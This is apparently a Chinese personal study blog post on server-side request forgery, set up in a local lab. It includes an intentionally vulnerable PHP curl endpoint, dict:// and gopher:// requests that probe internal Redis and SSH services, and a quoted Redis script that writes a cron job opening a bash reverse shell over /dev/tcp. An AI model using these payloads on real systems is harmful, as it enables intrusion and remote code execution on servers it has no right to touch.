ssrf从入门到入门

Author Avatar
Aryb1n 6月 02, 2017

准备

在hosts里面绑了个www.eval.com
mkdir了个ssrf文件夹放相关的的文件
比如index.php

<?php
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); 
curl_close($ch); 
?>

尝试

dict获取redis信息

eval@linux: curl http://www.eval.com/ssrf/?url=dict://127.0.0.1:6379/info

# Server
redis_version:3.0.6
redis_git_sha1:00000000
redis_git_dirty:0
...

获取ssh信息

curl 'http://www.eval.com/ssrf/index.php?url=dict://127.0.0.1:22/info'

gopher回显数据

eval@attacker: curl -v 'http://www.eval.com/ssrf/index.php?url=gopher://127.0.0.1:2333/_Hello'

haibin@caiji: nc -l -vv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Hello

可以测试确认是不是能用gopher

dict

dict://ip:port/command:data1:data2 向服务器的端口请求command data1 data2
所以
curl dict://127.0.0.1:6379/info
其实就相当于

haibin@pc: nc 127.0.0.1 6379
info

所以可以一步一步构造
gopher可以一键getshell
而dict要一步一步构造

看人家这个redis反弹shell

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

然后跑

bash shell.sh 127.0.0.1 6379

$1: 127.0.0.1
$2: 6379

gopher

curl gopher://ip:port/_payload

有个下划线咩
具体payload怎么写,要抓流量,相当于是重放攻击,就是把执行操作时候实际来往的流量抓下来(不知道这麽说对不对)
所以可用socat -v (-v是显示详细信息,利用这个详细信息写payload咩)

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

然后利用gopher转换规则

  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将\r字符串替换成%0d%0a
  • 空白行替换为%0a

最后如果gophar://xxx:6379/_payload要作为url参数的话就得要urlencode一下的

这部分参考
http://joychou.org/index.php/web/phpssrf.html
很详细

常常看到的302.php

http://blog.feei.cn/ssrf/
这篇写的真的超级清楚

自己拿vps挂个302.php跳一下不是必须的
是在某种情况(限制了可用协议为http(s),但支持CURLOPT_FOLLOWLOCATION)下的周转措施

参考

http://www.91ri.org/17111.html (ssrf)
http://www.dict.org/rfc2229.txt (dict协议)
https://www.waitalone.cn/linux-shell-rebound-under-way.html (反弹shell方法)
http://blog.safebuff.com/2016/07/03/SSRF-Tips/ (没看懂)
http://joychou.org/index.php/web/phpssrf.html (ssrf 超级详细)
http://blog.feei.cn/ssrf/
https://blog.chaitin.cn/gopher-attack-surfaces/ (长亭)
http://blog.feei.cn/redis/ (redis to getshell) 超详细
http://www.freebuf.com/articles/web/20407.html